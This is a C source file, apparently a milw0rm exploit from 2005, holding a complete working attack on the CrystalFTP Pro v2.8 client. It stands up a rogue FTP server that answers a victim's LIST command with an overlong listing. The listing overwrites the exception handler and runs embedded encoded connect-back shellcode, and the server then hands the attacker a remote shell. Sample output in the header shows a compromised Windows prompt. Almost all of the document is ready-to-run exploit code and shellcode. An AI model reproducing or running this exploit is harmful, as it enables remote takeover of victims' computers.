/*
* CrystalFTP Pro v2.8 Buffer Overflow Exploit
*
* 04/25/2005
*
* despite the fact that nobody uses CrystalFTP
* i had to release a new version that replaces
* the first one.
*
* this overwrites the structured exception handler
* with a "pop edx pop eax ret" in kernel32.dll.
* this takes us to a pointer of the next SEH.
* just jmp over the SEH itself and reverse code
* gets executed.
*
* add more targets if needed
*
* have phun
*
* __ __ _
* _______ __/ /_ ___ _____/ /__________ ____ (_)____
* / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ \/ / ___/
* / /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__
* \___/\__, /_.___/\___/_/ \__/_/ \____/_/ /_/_/\___/
* /____/
*
* --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net
* --[ local IP: 192.168.2.102
* --[ incomming connection from: 192.168.2.103
* --[ sending welcome message...done!
* --[ getting login information
* --[ reading USER...done!
* --[ reading PASS...done!
* USER LOGGED IN!
* --[ proceeding...
* --[ reading cmd...done!
* --[ reading cmd...done!
* --[ reading cmd...done!
* --[ entering passive mode...
* --[ passive connection established!
* --[ reading cmd...done!
* --[ user is trying to use "LIST" command
* --[ w00d w00d, let`s kick his ass...
* --[ sending packet [ 711 bytes ]...done!
* --[ confirming...done!
* --[ starting reverse handler [port: 1337]...done!
* --[ incomming connection from: 192.168.2.103
* --[ b0x pwned - h4ve phun
* Microsoft Windows XP [Version 5.1.2600]
* (C) Copyright 1985-2001 Microsoft Corp.
*
* C:\crystalFTP>
*
*/
#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
/*
*
* definitions
*
*/
#define RED "\E[31m\E[1m"
#define GREEN "\E[32m\E[1m"
#define YELLOW "\E[33m\E[1m"
#define BLUE "\E[34m\E[1m"
#define NORMAL "\E[m"
#define PORT 21
#define PASV 31337
#define BACKLOG 5
/*
*
* prototypes
*
*/
int isip ( char* ip );
int shell ( int s, char* tip, unsigned short cbport );
char* get_cmd ( int s );
void auth ( int s );
void handle_cmd ( int s, int connfd, char* ip );
void header ();
void start_reverse_handler ();
/*********************
* Windows Shellcode *
*********************/
/*
* Type : connect back shellcode
* Length: 316 bytes
* CBIP : reverseshell[111] ( ^ 0x99999999 )
* CBPort: reverseshell[118] ( ^ 0x9999 )
*
*/
unsigned char reverseshell[] =
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9"
"\x99\x99\x99\x12\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3"
"\x9D\xC0\x71\x02\x99\x99\x99\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE"
"\xEA\xAB\xC6\xCD\x66\x8F\x12\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99"
"\x7B\x60\x18\x75\x09\x98\x99\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF"
"\x89\xC9\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6"
"\x99\x99\x98\xF1\x9B\x99\x9D\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF"
"\x81\x1C\x59\xEC\xD3\xF1\xFA\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD"
"\x14\xA5\xBD\xF3\x8C\xC0\x32\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD"
"\xBD\xA4\x10\xC5\xBD\xD1\x10\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD"
"\xBD\x89\xCD\xC9\xC8\xC8\xC8\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66"
"\xCF\x9D\x12\x55\xF3\x66\x66\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66"
"\xCF\x95\xC8\xCF\x12\xDC\xA5\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB"
"\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3"
"\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3"
"\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D"
"\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x99\x66\x66\x66\x17\xD7\x97\x75"
"\xEB\x67\x2A\x8F\x34\x40\x9C\x57\x76\x57\x79\xF9\x52\x74\x65\xA2"
"\x40\x90\x6C\x34\x75\x60\x33\xF9\x7E\xE0\x5F\xE0";
unsigned char head[] =
"\x2d\x72\x77\x2d\x72\x2d\x2d\x72\x2d\x2d\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x32\x39\x20\x44\x65\x63\x20\x32"
"\x32\x20\x31\x33\x3a\x33\x37\x20\x63\x79\x62\x65\x72\x74\x72\x6f"
"\x6e\x69\x63\x2e";
char* argv3 = NULL;
/*
*
* functions
*
*/
int
isip ( char* ip )
{
unsigned int a, b, c, d;
sscanf ( ip, "%d.%d.%d.%d", &a, &b, &c, &d );
if ( a < 1 || a > 255 )
return ( 1 );
if ( b < 0 || b > 255 )
return ( 1 );
if ( c < 0 || c > 255 )
return ( 1 );
if ( d < 0 || d > 255 )
return ( 1 );
return ( 0 );
}
int
shell ( int s, char* tip, unsigned short cbport )
{
int n;
char buffer[2048];
fd_set fd_read;
printf ( "--[" YELLOW " b" NORMAL "0" YELLOW "x " NORMAL "p" YELLOW "w" NORMAL "n" YELLOW "e" NORMAL "d " YELLOW "- " NORMAL "h" YELLOW "4" NORMAL "v" YELLOW "e " NORMAL "p" YELLOW "h" NORMAL "u" YELLOW "n" NORMAL "\n" );
FD_ZERO ( &fd_read );
FD_SET ( s, &fd_read );
FD_SET ( 0, &fd_read );
while ( 1 )
{
FD_SET ( s, &fd_read );
FD_SET ( 0, &fd_read );
if ( select ( s + 1, &fd_read, NULL, NULL, NULL ) < 0 )
break;
if ( FD_ISSET ( s, &fd_read ) )
{
if ( ( n = recv ( s, buffer, sizeof ( buffer ), 0 ) ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
if ( write ( 1, buffer, n ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
}
if ( FD_ISSET ( 0, &fd_read ) )
{
if ( ( n = read ( 0, buffer, sizeof ( buffer ) ) ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
if ( send ( s, buffer, n, 0 ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
}
usleep(10);
}
}
char*
get_cmd ( int s )
{
static char cmd[32];
printf ( "--[" YELLOW " reading cmd..." NORMAL );
if ( read ( s, cmd, 32 ) <= 0 )
{
printf ( RED "failed!\n" NORMAL);
exit ( 1 );
}
printf ( GREEN "done!\n" NORMAL );
return ( cmd );
}
void
auth ( int s )
{
char user[32], pass[32], out[128];
printf ( "--[ sending welcome message..." );
bzero ( &out, 128 );
strcpy ( out, "220 cybertronicFTP v0.2\r\n" );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "\twrite failed!\n" NORMAL );
exit ( 1 );
}
printf ( GREEN "done!\n" NORMAL );
printf ( "--[ getting login information\n" );
printf ( "--[" YELLOW " reading USER..." NORMAL );
sleep ( 1 );
if ( read ( s, user, 32 ) <= 0 )
{
printf ( RED "failed!\n" NORMAL );
exit ( 1 );
}
printf ( GREEN "done!\n" NORMAL );
sleep ( 1 );
bzero ( &out, 128 );
strcpy ( out, "331 Anonymous FTP server\r\n" );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "\twrite failed!\n" NORMAL );
exit ( 1 );
}
printf ( "--[" YELLOW " reading PASS..." NORMAL );
sleep ( 1 );
if ( read ( s, pass, 32 ) <= 0 )
{
printf ( RED "failed\n" NORMAL );
exit ( 1 );
}
printf ( GREEN "done!\n" NORMAL );
sleep ( 1 );
bzero ( &out, 128 );
strcpy ( out, "230 Login successful!\r\n" );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "\twrite failed!\n" NORMAL );
exit ( 1 );
}
printf ( GREEN "\tUSER LOGGED IN!\n" NORMAL );
printf ( "--[ proceeding...\n" );
}
void
handle_cmd ( int s, int s2, char* ip )
{
int listenfd, connfd;
int i = 1;
int tmp[4];
unsigned long ret = 0x77ea5794; //edx eax ret in kernel32.dll
char* a = NULL;
char* cmd;
char out[128], buffer[1024], addr[32];
pid_t childpid;
socklen_t clilen;
struct sockaddr_in cliaddr, servaddr;
while ( 1 )
{
cmd = get_cmd ( s );
if ( strncmp ( cmd, "PWD", 3 ) == 0 )
{
bzero ( &out, 128 );
strcpy ( out, "257 \"/\" is current directory.\r\n" );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "\twrite failed!\n" NORMAL );
exit ( 1 );
}
}
else if ( strncmp ( cmd, "CWD", 3 ) == 0 )
{
bzero ( &out, 128 );
strcpy ( out, "257 \"/\" is current directory.\r\n" );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "\twrite failed!\n" NORMAL );
exit ( 1 );
}
}
else if ( strncmp ( cmd, "TYPE", 4 ) == 0 )
{
bzero ( &out, 128 );
strcpy ( out, "200 Type set to A..\r\n" );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "\twrite failed!\n" NORMAL );
exit ( 1 );
}
}
else if ( strncmp ( cmd, "PASV", 4 ) == 0 )
{
bzero ( &addr, 32 );
a = ( char* ) strtok ( ip, "." );
tmp[0] = ( int ) a;
while ( a != NULL )
{
a = ( char* ) strtok ( NULL, "." );
tmp[i] = ( int )a;
i++;
}
bzero ( &out, 128 );
sprintf( out, "227 Entering Passive Mode. (%s,%s,%s,%s,122,105).\r\n", tmp[0], tmp[1], tmp[2], tmp[3] );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "\twrite failed!\n" NORMAL );
exit ( 1 );
}
printf ( "--[ entering passive mode...\n" );
if ( ( listenfd = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
{
printf ( RED "socket failed!\n" NORMAL );
exit ( 1 );
}
bzero ( &servaddr, sizeof ( servaddr ) );
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
servaddr.sin_port = htons ( PASV );
bind ( listenfd, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
if ( listen ( listenfd, 1 ) == -1 )
{
printf ( RED "listen failed!\n" NORMAL );
exit ( 1 );
}
clilen = sizeof ( cliaddr );
if ( ( connfd = accept ( listenfd, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 )
{
close ( listenfd );
printf ( RED "accept failed!\n" NORMAL );
exit ( 1 );
}
close ( listenfd );
printf ( "--[" GREEN " passive connection established!\n" NORMAL );
handle_cmd ( s, connfd, addr );
}
else if ( strncmp ( cmd, "LIST", 4 ) == 0 )
{
printf ( "--[" GREEN " user is trying to use \"LIST\" command\n" NORMAL );
printf ( "--[ w00d w00d, let`s kick his ass...\n" );
bzero ( &buffer, 1024 );
memcpy ( buffer, head, sizeof ( head ) - 1 );
memset ( buffer + 68, 0x90, 255 );
memcpy ( buffer + 321, "\xeb\x46", 2 );
strncat ( buffer, ( unsigned char * ) &ret, 4 );
memset ( buffer + 327, 0x90, 66 );
memcpy ( buffer + 393, reverseshell, sizeof ( reverseshell ) - 1 );
strcat ( buffer, "\r\n" );
bzero ( &out, 128 );
strcpy ( out, "150 Here comes the directory listing.\r\n" );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "\twrite failed!\n" NORMAL );
exit ( 1 );
}
printf ( "--[ sending packet [ %d bytes ]...", strlen ( buffer ) );
if ( write ( s2, buffer, strlen ( buffer ) ) <= 0 )
{
printf ( RED "\twrite failed!\n" NORMAL );
exit ( 1 );
}
printf ( GREEN "done!\n" NORMAL);
bzero ( &out, 128 );
strcpy ( out, "226 Transfer ok\r\n" );
printf ( "--[ confirming..." );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "\twrite failed!\n" NORMAL );
exit ( 1 );
}
printf ( GREEN "done!\n" NORMAL);
close ( s2 );
start_reverse_handler ( argv3 );
}
else
{
bzero ( &out, 128 );
strcpy ( out, "550 command not supported\r\n" );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "\twrite failed!\n" NORMAL );
exit ( 1 );
}
}
}
}
void
header ()
{
printf ( " __ __ _ \n" );
printf ( " _______ __/ /_ ___ _____/ /__________ ____ (_)____ \n" );
printf ( " / ___/ / / / __ \\/ _ \\/ ___/ __/ ___/ __ \\/ __ \\/ / ___/ \n" );
printf ( "/ /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__ \n" );
printf ( "\\___/\\__, /_.___/\\___/_/ \\__/_/ \\____/_/ /_/_/\\___/ \n" );
printf ( " /____/ \n\n" );
printf ( "--[ exploit by : cybertronic - cybertronic[at]gmx[dot]net\n" );
}
void
start_reverse_handler ()
{
int s1, s2;
unsigned short cbport;
struct sockaddr_in cliaddr, servaddr;
socklen_t clilen = sizeof ( cliaddr );
sscanf ( argv3, "%u", &cbport );
bzero ( &servaddr, sizeof ( servaddr ) );
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
servaddr.sin_port = htons ( cbport );
printf ( "--[ starting reverse handler [port: %u]...", cbport );
if ( ( s1 = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
{
printf ( "socket failed!\n" );
exit ( 1 );
}
bind ( s1, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
if ( listen ( s1, 1 ) == -1 )
{
printf ( "listen failed!\n" );
exit ( 1 );
}
printf ( YELLOW "done!\n" NORMAL);
if ( ( s2 = accept ( s1, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 )
{
printf ( "accept failed!\n" );
exit ( 1 );
}
close ( s1 );
printf ( "--[" GREEN " incomming connection from:\t" YELLOW " %s\n" NORMAL, inet_ntoa ( cliaddr.sin_addr ) );
shell ( s2, ( char* ) inet_ntoa ( cliaddr.sin_addr ), cbport );
close ( s2 );
}
int
main ( int argc, char* argv[] )
{
int listenfd, connfd;
unsigned long xoredip;
unsigned short xoredcbport;
char* ip;
pid_t childpid;
socklen_t clilen;
struct sockaddr_in cliaddr, servaddr;
if ( argc != 3 )
{
printf ( RED "--[ usage: %s <connectback ip> <connectback port>\n" NORMAL, argv[0] );
exit ( 1 );
}
if ( isip ( argv[1] ) != 0 )
{
printf ( RED "--[ enter a valid IP\n" NORMAL );
exit ( 1 );
}
system ( "clear" );
header ();
argv3 = argv[2];
xoredip = inet_addr ( argv[1] ) ^ ( unsigned long ) 0x99999999;
xoredcbport = htons ( atoi ( argv[2] ) ) ^ ( unsigned short ) 0x9999;
memcpy ( &reverseshell[111], &xoredip, 4);
memcpy ( &reverseshell[118], &xoredcbport, 2);
if ( ( listenfd = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
{
printf ( RED "socket failed!\n" NORMAL );
exit ( 1 );
}
bzero ( &servaddr, sizeof ( servaddr ) );
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
servaddr.sin_port = htons ( PORT );
bind ( listenfd, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
if ( listen ( listenfd, BACKLOG ) == -1 )
{
printf ( RED "listen failed!\n" NORMAL );
exit ( 1 );
}
for ( ; ; )
{
clilen = sizeof ( cliaddr );
if ( ( connfd = accept ( listenfd, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 )
{
close ( listenfd );
printf ( RED "accept failed!\n" NORMAL );
exit ( 1 );
}
if ( ( childpid = fork ( ) ) == 0 )
{
close ( listenfd );
ip = ( char* ) ( argv[1] );
printf ( "--[ local IP: %s\n", ip );
printf ( "--[" GREEN " incomming connection from:\t" YELLOW " %s\n" NORMAL, inet_ntoa ( cliaddr.sin_addr ) );
auth ( connfd );
handle_cmd ( connfd, ( int ) NULL, ip );
}
close ( connfd );
}
}
// milw0rm.com [2005-04-24]
